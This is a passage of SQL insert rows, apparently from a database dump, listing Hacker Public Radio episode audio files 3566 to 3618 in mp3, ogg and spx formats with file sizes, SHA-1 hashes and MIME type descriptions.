(3566,'hpr3566.spx','spx',21021696,'a91ac24bbe6dfa3a71a02cbcecdca1fb42b459a8','application/ogg; charset=binary','Ogg data, Speex audio'),
(3567,'hpr3567.mp3','mp3',8812699,'d516a4cbd045fe3a05a128264da97c470046b586','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3567,'hpr3567.ogg','ogg',11987852,'3c6cc8480a0a5b794058ac4632d1a1e356c40e64','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3567,'hpr3567.spx','spx',4160471,'85e60f9322945776cc1bab7c587705c00314c8e9','application/ogg; charset=binary','Ogg data, Speex audio'),
(3568,'hpr3568.mp3','mp3',7843938,'227c3f46587e7558737c013b10daf4fe2d09974a','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3568,'hpr3568.ogg','ogg',11037787,'a8942416f0c27dc56f12f794c52153663197bf17','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3568,'hpr3568.spx','spx',3703072,'af939915a00c40f509942d476e3783e2975334fa','application/ogg; charset=binary','Ogg data, Speex audio'),
(3569,'hpr3569.mp3','mp3',21941116,'b2c7d28b388a4c64fcb64142711a1e1dc89f37fd','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3569,'hpr3569.ogg','ogg',30511269,'fe959543a8c5d2446b75f683c0a7a84b45635b86','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3569,'hpr3569.spx','spx',10358633,'86f855ddc61e3b3b78e0e4448caf8ac74438af20','application/ogg; charset=binary','Ogg data, Speex audio'),
(3570,'hpr3570.mp3','mp3',12433630,'271a4deb9d8829401e89683f7e8ff9549a4e10fc','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3570,'hpr3570.ogg','ogg',13965840,'540e9fcd8b92d08e5cf18a893e49152167080d6d','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3570,'hpr3570.spx','spx',5552699,'f784eac47f83c91563977c20f366adeba197803c','application/ogg; charset=binary','Ogg data, Speex audio'),
(3571,'hpr3571.mp3','mp3',4747296,'29b25340ea0662456b194f86e80a60f5a294c739','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3571,'hpr3571.ogg','ogg',6846103,'3f1fb29de255994af1867c6945b0ec988b1b0dca','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3571,'hpr3571.spx','spx',2241082,'b9cab620c95d67d327b72c369ba2526e6963d410','application/ogg; charset=binary','Ogg data, Speex audio'),
(3572,'hpr3572.mp3','mp3',9783402,'5a171a7dae06daa6889ed2b35a5ba7138a0c70ff','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3572,'hpr3572.ogg','ogg',13283628,'1d93251f2b7ae8d090cd75e979e23920487e541b','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3572,'hpr3572.spx','spx',4618636,'08f07694ae1e10ebbf5047fe26aa7e586bcaa3af','application/ogg; charset=binary','Ogg data, Speex audio'),
(3573,'hpr3573.mp3','mp3',10492859,'88b5aab9dfb3290a373e98fdf93b070fd92b2bb9','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3573,'hpr3573.ogg','ogg',14489848,'fabae0a343e942760328a5582618aa9d20ceec4a','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3573,'hpr3573.spx','spx',4953681,'4db4a209024164747f2060fe698dc906760d7369','application/ogg; charset=binary','Ogg data, Speex audio'),
(3574,'hpr3574.mp3','mp3',3797265,'ca63e958519027ae3badbeeb524fedbea9cc2ff8','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3574,'hpr3574.ogg','ogg',5389868,'ff6498be255fc7d44b4471fd7c16bbe6fde8232d','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3574,'hpr3574.spx','spx',1792504,'ef4e73695b297f22ecf6d01a089e78d88a00a3d1','application/ogg; charset=binary','Ogg data, Speex audio'),
(3575,'hpr3575.mp3','mp3',30438225,'912d2d3d8f5c9401c6b44a6d409360d9880b15b0','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3575,'hpr3575.ogg','ogg',41312268,'e96d6a0f443729c785333974da242a1a22f3a1e9','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3575,'hpr3575.spx','spx',14370364,'83b0e36db7345ee3c271b472bba96c1663536edc','application/ogg; charset=binary','Ogg data, Speex audio'),
(3576,'hpr3576.mp3','mp3',11690626,'92c2b7231d57c02fd02db24608da85821fc22c91','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3576,'hpr3576.ogg','ogg',15796307,'4461f84b8dd6a4b03f88b8375a72bbb9134177ff','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3576,'hpr3576.spx','spx',5519177,'d267c1b92064678ded0f3d0130f6208d2336a09e','application/ogg; charset=binary','Ogg data, Speex audio'),
(3577,'hpr3577.mp3','mp3',4204492,'d877001de39fff3691b213fa87c433c1cfae834f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3577,'hpr3577.ogg','ogg',5847977,'94bc4f16dfa199d46e7a0b7e779b9c48d18c8fb4','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3577,'hpr3577.spx','spx',1984676,'286c6cb439fc40525dc890b0ef0d75223c76efd2','application/ogg; charset=binary','Ogg data, Speex audio'),
(3578,'hpr3578.mp3','mp3',42520492,'3e037ff1788317841c483bdf1199ad90017194ac','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3578,'hpr3578.ogg','ogg',57967965,'73b8a5e6c9c766010617fe34bbbe7ba62c4da5f4','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3578,'hpr3578.spx','spx',20074700,'11e838dcf2231e0ce690c64e4861a578ef6e33bd','application/ogg; charset=binary','Ogg data, Speex audio'),
(3579,'hpr3579.mp3','mp3',5847212,'9ccd4a921a7e14f2a1e40a447a56823fd4d65824','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3579,'hpr3579.ogg','ogg',8533619,'1f9b509d755c8b547352cac9ea203b27dc431cc5','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3579,'hpr3579.spx','spx',2760279,'ea3848803fbff2beeebd4ef2ad536b72a69b5126','application/ogg; charset=binary','Ogg data, Speex audio'),
(3580,'hpr3580.mp3','mp3',8635811,'8b1c38fd6a058ec7e3f0f8d4420d7bcb3a8b53b0','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3580,'hpr3580.ogg','ogg',9727429,'be77f02b727a319aa91a797556cdbc78d23d5205','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3580,'hpr3580.spx','spx',3856556,'423b16c17ca0c5b408c50c0db7158b190bda787e','application/ogg; charset=binary','Ogg data, Speex audio'),
(3581,'hpr3581.mp3','mp3',11655042,'5536ab9027dfdf24615f4af65c8bff857a75c9f0','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3581,'hpr3581.ogg','ogg',16052164,'4e191327956e9aa0c0516debe949c9d49a0f4058','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3581,'hpr3581.spx','spx',5502328,'41f5af058a7fb39a85d93ca188b9714faccdd230','application/ogg; charset=binary','Ogg data, Speex audio'),
(3582,'hpr3582.mp3','mp3',14990508,'4d219cfdacd0e382826d0621f7772f13ea0786a2','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3582,'hpr3582.ogg','ogg',20699742,'f1a8e5ce1965138390c2e508dedd3de4c14d5eba','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3582,'hpr3582.spx','spx',7077079,'28a335706445ccb91bee45a96ed0112370ce84fb','application/ogg; charset=binary','Ogg data, Speex audio'),
(3583,'hpr3583.mp3','mp3',4431060,'e0ea60a296c1297078b10c210aab7c0ccd93628e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3583,'hpr3583.ogg','ogg',6217840,'7c62676d3ad9982638c5616ec5d058a312d39835','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3583,'hpr3583.spx','spx',2091715,'d219a578379676c2d1c33343f6e1bda54f3d4894','application/ogg; charset=binary','Ogg data, Speex audio'),
(3584,'hpr3584.mp3','mp3',9243924,'0a0fe8d75f1f70942ad41ad4aa708a27a55b116d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3584,'hpr3584.ogg','ogg',11288252,'a8f2713987ad2b0bd763ea2f0874859ba5d75606','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3584,'hpr3584.spx','spx',4363969,'1d536d59672c7104ff65644bab889edab3dba0fb','application/ogg; charset=binary','Ogg data, Speex audio'),
(3585,'hpr3585.mp3','mp3',6991182,'60d227f1308c26ce8dd4c1e0098bf462edcfaf33','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3585,'hpr3585.ogg','ogg',10226414,'60e0e2e3024c76fee24fddd8f8fde74dfed462bc','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3585,'hpr3585.spx','spx',3300424,'620031a06f128f290ae1a61d50d79be6e5497d03','application/ogg; charset=binary','Ogg data, Speex audio'),
(3586,'hpr3586.mp3','mp3',32537974,'0cf422826594eaa5c6d37091b1210a770a19d720','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3586,'hpr3586.ogg','ogg',43342757,'908a529a0f93fa6c7dcb59b18a09d2399da04b03','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3586,'hpr3586.spx','spx',15361727,'99430cf2a68ffb02a877d20eb600f02d70bc9a32','application/ogg; charset=binary','Ogg data, Speex audio'),
(3587,'hpr3587.mp3','mp3',6777088,'7c8d72528449644949963411109dd33dc3cbd510','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3587,'hpr3587.ogg','ogg',9304245,'db8eeca70f0187aab297789d264e3810a1400734','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3587,'hpr3587.spx','spx',3199256,'8b78abc28970df2db6e779f86447769ddec2174e','application/ogg; charset=binary','Ogg data, Speex audio'),
(3588,'hpr3588.mp3','mp3',22885417,'5e426a63e6b2839aedd97c5f4fd58985d01b3841','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3588,'hpr3588.ogg','ogg',31404893,'35c07ca944dbe570ecffd39d63b3c520b0b9d3c0','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3588,'hpr3588.spx','spx',10804514,'36cac1001d9fc93739066cb2d923904d0d1fd0f3','application/ogg; charset=binary','Ogg data, Speex audio'),
(3589,'hpr3589.mp3','mp3',4124417,'c2d0be400029f0c251c56d02ab784a3cccfe1288','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3589,'hpr3589.ogg','ogg',5662638,'ac6568b4425a08b2aacd839383e8a38da3c672dd','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3589,'hpr3589.spx','spx',1946895,'80ad5a17eb738079129fcf18aa04a95930e621e3','application/ogg; charset=binary','Ogg data, Speex audio'),
(3590,'hpr3590.mp3','mp3',8095187,'d4cd3dba201925ddb297f707eec3785fe8860bc0','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3590,'hpr3590.ogg','ogg',9168155,'fa141d191070025023dcafcce13f876c8508af98','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3590,'hpr3590.spx','spx',3615114,'b46b28a6675a10d7b80b047fc4e3bb5a414e83ae','application/ogg; charset=binary','Ogg data, Speex audio'),
(3591,'hpr3591.mp3','mp3',6064748,'e6bbb1825bdb87f4642571c48668e01bb06d4c2b','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3591,'hpr3591.ogg','ogg',8475617,'8003dcdf5edbfd24d934ea800db27c30caddc634','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3591,'hpr3591.spx','spx',2863008,'d8560e213dc2ceaf244bd1cad00696aa7ae3a919','application/ogg; charset=binary','Ogg data, Speex audio'),
(3592,'hpr3592.mp3','mp3',11690599,'600af982a28587f0dfc866396b00cce198ceb6d1','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3592,'hpr3592.ogg','ogg',15778519,'0e42a655795577377affa8f7f7799ea4da0d02a8','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3592,'hpr3592.spx','spx',5519150,'7a1344c7cb57640071180ff216c9df6e5d4ee5fd','application/ogg; charset=binary','Ogg data, Speex audio'),
(3593,'hpr3593.mp3','mp3',11621299,'bb7980f0ea41fe3877d1d743f921d1586d093870','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3593,'hpr3593.ogg','ogg',16004443,'b0b5b150e967175caf231236a1f200bb17761841','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3593,'hpr3593.spx','spx',5486444,'d43cea2c16371176cc419400a472dbd873a6d23a','application/ogg; charset=binary','Ogg data, Speex audio'),
(3594,'hpr3594.mp3','mp3',33109522,'16e540756833445840e7ea1e2d15f2d979396fbf','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3594,'hpr3594.ogg','ogg',45396031,'528da9654e7ffaa993135606741c10e90475f0b7','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3594,'hpr3594.spx','spx',15631508,'e1cecdbd27a66a34fa46565d23870c3165514f2c','application/ogg; charset=binary','Ogg data, Speex audio'),
(3595,'hpr3595.mp3','mp3',5775636,'a4ca1b033369b62f9d5ee344141b6c23f35a0141','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3595,'hpr3595.ogg','ogg',8108761,'6665a04a731dbc95bfa1be737ba65e01e7dfde0a','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3595,'hpr3595.spx','spx',2726551,'0eb04fef0e6d74697581754e87641df62480a2cd','application/ogg; charset=binary','Ogg data, Speex audio'),
(3596,'hpr3596.mp3','mp3',4787104,'27a34d443623c332b212afdd645ee8c2543be34f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3596,'hpr3596.ogg','ogg',6677920,'9966cb806a60aa00c0325ed74ad9df7013ec4049','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3596,'hpr3596.spx','spx',2259881,'6e6d24dffe16578357b2487bd10663768cc38e17','application/ogg; charset=binary','Ogg data, Speex audio'),
(3597,'hpr3597.mp3','mp3',5207911,'bc9e6b251ba0ca46c8d3e810d48d294b95162ef5','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3597,'hpr3597.ogg','ogg',7362624,'3562632c7c10be8e8fe89fb60a2e96a5b83064d9','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3597,'hpr3597.spx','spx',2458478,'5d1c09768032d53d81b36719ac1abfe7ff770af7','application/ogg; charset=binary','Ogg data, Speex audio'),
(3598,'hpr3598.mp3','mp3',30701107,'55b41423b9f0cad8661f68ef223bd6587253fb63','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3598,'hpr3598.ogg','ogg',43657420,'72ce7456f7e3b4c0a9f61a6ecff490f8a16159d7','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3598,'hpr3598.spx','spx',14494514,'7b9a13138634e085b2f0cfc66610b12100f086bc','application/ogg; charset=binary','Ogg data, Speex audio'),
(3599,'hpr3599.mp3','mp3',22054228,'6cf456abee326eefe3d2b2ff173473d087e012d1','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3599,'hpr3599.ogg','ogg',31126127,'4738c5b64780677099aa3e82652b4da88034a774','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3599,'hpr3599.spx','spx',10412060,'2cfbd8a51960363eb00e015c2a978ff6120836fa','application/ogg; charset=binary','Ogg data, Speex audio'),
(3600,'hpr3600.mp3','mp3',7452366,'5515e296d5ae36a63d320ff810f2d897806d3f25','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3600,'hpr3600.ogg','ogg',8521788,'84cda838369d1cec98d7e48b1efffce59a460c5c','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3600,'hpr3600.spx','spx',3328071,'5e6d20962d4b389e9e9a94edd47a9e4fa4430850','application/ogg; charset=binary','Ogg data, Speex audio'),
(3601,'hpr3601.mp3','mp3',3501026,'86eb1bf17e722b3a7a90faccbc6d1b8340557cb3','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3601,'hpr3601.ogg','ogg',4962696,'fa5464443a8e8e35be7e608b85ed32721b6bc962','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3601,'hpr3601.spx','spx',1652622,'c6d2dc99cfef340b90d9d98eeba987a4da5cd9f2','application/ogg; charset=binary','Ogg data, Speex audio'),
(3602,'hpr3602.mp3','mp3',13138241,'3678da90a4014864b723fc3dcca5394ecc9fcd4a','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3602,'hpr3602.ogg','ogg',17948452,'7e90fd1b175839889b7fd8bf78dbb91f39fe1475','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3602,'hpr3602.spx','spx',6202599,'b14122a91d5e23ef416a0c23213fafd917e5a008','application/ogg; charset=binary','Ogg data, Speex audio'),
(3603,'hpr3603.mp3','mp3',6704954,'ee0e2b314f1313d1cd759a7a003bd7a334bbcd96','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3603,'hpr3603.ogg','ogg',9485262,'81fb39e11259f326497636d4304178e287a04432','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3603,'hpr3603.spx','spx',3165246,'607937f7e703c3aa212ae48a49a257eca5ea5cb8','application/ogg; charset=binary','Ogg data, Speex audio'),
(3604,'hpr3604.mp3','mp3',6908460,'c5562cc41d8ce5bbfd92e342c2870d043a41adfb','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3604,'hpr3604.ogg','ogg',9629858,'0eb7efc32e961bc875b9b5fdbbe4c56590bcb339','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3604,'hpr3604.spx','spx',3261409,'cbb51c1b5be1ef003ef635f1fd6dc3c38b9e5768','application/ogg; charset=binary','Ogg data, Speex audio'),
(3605,'hpr3605.mp3','mp3',4668367,'7e2ff630144598f5627a5500e3f3e130362f6934','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3605,'hpr3605.ogg','ogg',6733936,'2035edf13a70c734d6de13983bf1732973477781','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3605,'hpr3605.spx','spx',2203820,'f9b0ad6426fd812f7b848e428ca8cf9b86440946','application/ogg; charset=binary','Ogg data, Speex audio'),
(3606,'hpr3606.mp3','mp3',5139382,'7e18cb715cd5543d7f04908a1bbc145613e52ae0','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3606,'hpr3606.ogg','ogg',7099589,'4f046de53febc36f164de87fd24af79b31f2c617','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3606,'hpr3606.spx','spx',2426177,'c8182d23ad9070f2e9a31f5c72596571b9a402f4','application/ogg; charset=binary','Ogg data, Speex audio'),
(3607,'hpr3607.mp3','mp3',7044355,'ec99e1f5c8b798f135572e374f8f82095babd9bd','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3607,'hpr3607.ogg','ogg',9699671,'c07cbb3511f49604ca974d51ce210eeeaff42c23','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3607,'hpr3607.spx','spx',3325502,'6262964c9e78c3f7fd9e0ec9708e2328fcd6f790','application/ogg; charset=binary','Ogg data, Speex audio'),
(3608,'hpr3608.mp3','mp3',8069489,'c3a27428ca821272a4e65db38ca6b5a44e3de186','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3608,'hpr3608.ogg','ogg',11441360,'ed8091d6614f58a2c2008695e4d8c40e6a6a4017','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3608,'hpr3608.spx','spx',3809529,'73e6ff43899d04d945e2c953cc9c9a0c3ba425f8','application/ogg; charset=binary','Ogg data, Speex audio'),
(3609,'hpr3609.mp3','mp3',26553005,'0a709d6c5194c4cfb9065d30be45791a0ab73eb4','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3609,'hpr3609.ogg','ogg',36418582,'fa35126bf2178b5981c7b7dce042487411f690c5','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3609,'hpr3609.spx','spx',12536034,'54f89127596d7e54fc187ec07203cd5cb9517d0d','application/ogg; charset=binary','Ogg data, Speex audio'),
(3610,'hpr3610.mp3','mp3',8400742,'819f04427e99bfa2a6bad294ab71be21e832c92a','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3610,'hpr3610.ogg','ogg',9497152,'b12a98f1f2ea1fce1011e6d2a8c34541ed2d8207','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3610,'hpr3610.spx','spx',3751544,'212b149f6d22d70120d9cc1c91861153eda72146','application/ogg; charset=binary','Ogg data, Speex audio'),
(3611,'hpr3611.mp3','mp3',27384882,'7ce808be5cae5ce29a5d9e5b914089377e293f71','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3611,'hpr3611.ogg','ogg',37134551,'bb56ad4776f9e158098e00eb9fc2273deb0fbea2','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3611,'hpr3611.spx','spx',12928783,'163149a103ab00d598c0b610cf30267566d01e1a','application/ogg; charset=binary','Ogg data, Speex audio'),
(3612,'hpr3612.mp3','mp3',7520354,'6d8c78a8aec5f225e7ac38cb5f3077da7578a718','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3612,'hpr3612.ogg','ogg',10714050,'9636761ee9445b815f24904725e83258ac2b114f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3612,'hpr3612.spx','spx',3550251,'da16c7735e488416dbb70fd749e8fcb4cf04d39c','application/ogg; charset=binary','Ogg data, Speex audio'),
(3613,'hpr3613.mp3','mp3',4273450,'9b576b54bfc8936c6a0e9f446de48418bff771be','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3613,'hpr3613.ogg','ogg',6372476,'7f69ef368d0bad56c67a6bc6afb9bbd57358ff59','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3613,'hpr3613.spx','spx',2017247,'d8ab4045ed700e8e815ed45680d36bc1565e7d0a','application/ogg; charset=binary','Ogg data, Speex audio'),
(3614,'hpr3614.mp3','mp3',7355082,'922f0d1ebda3f25492839e6b89678959525b516e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3614,'hpr3614.ogg','ogg',10187795,'86ba7a87645486084089d2daf90de4ca3d50f25a','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3614,'hpr3614.spx','spx',3472276,'8d5e9375903ad6192886074b9917352a2ff9433a','application/ogg; charset=binary','Ogg data, Speex audio'),
(3615,'hpr3615.mp3','mp3',13516536,'4736599e5407028952aae59cb25a5b5126bd62ad','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3615,'hpr3615.ogg','ogg',18531124,'98be449800374b6ca877d5f138779612fc493a79','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3615,'hpr3615.spx','spx',6381223,'5ca56035c0a1bffa9f20f3d5cec020f012ae6bf0','application/ogg; charset=binary','Ogg data, Speex audio'),
(3616,'hpr3616.mp3','mp3',7843147,'e81c11e2cf61da0d87fbc72cbd85cf2e9032560b','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3616,'hpr3616.ogg','ogg',10553905,'874633723a96adc0e2d846611a8a8b6d150ad0cf','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3616,'hpr3616.spx','spx',3702674,'422c0f3a37c389b88d6e72e1f1aa249243fd9dc2','application/ogg; charset=binary','Ogg data, Speex audio'),
(3617,'hpr3617.mp3','mp3',7640172,'da1fd30114cd5185ee063fd7cb9ac35213268e67','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3617,'hpr3617.ogg','ogg',10870599,'7ed6c744bc85a4a4ea39d00a0e0840b046be1929','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3617,'hpr3617.spx','spx',3606841,'7456c86fac8592768a686a1c23101e792f545723','application/ogg; charset=binary','Ogg data, Speex audio'),
(3618,'hpr3618.mp3','mp3',4117902,'eba7eb3e80f8792dc91668c24b13c00fb4baa07a','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3618,'hpr3618.ogg','ogg',5939803,'1d319d7b699e7cd00ab82e881c81a2513da466cf','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
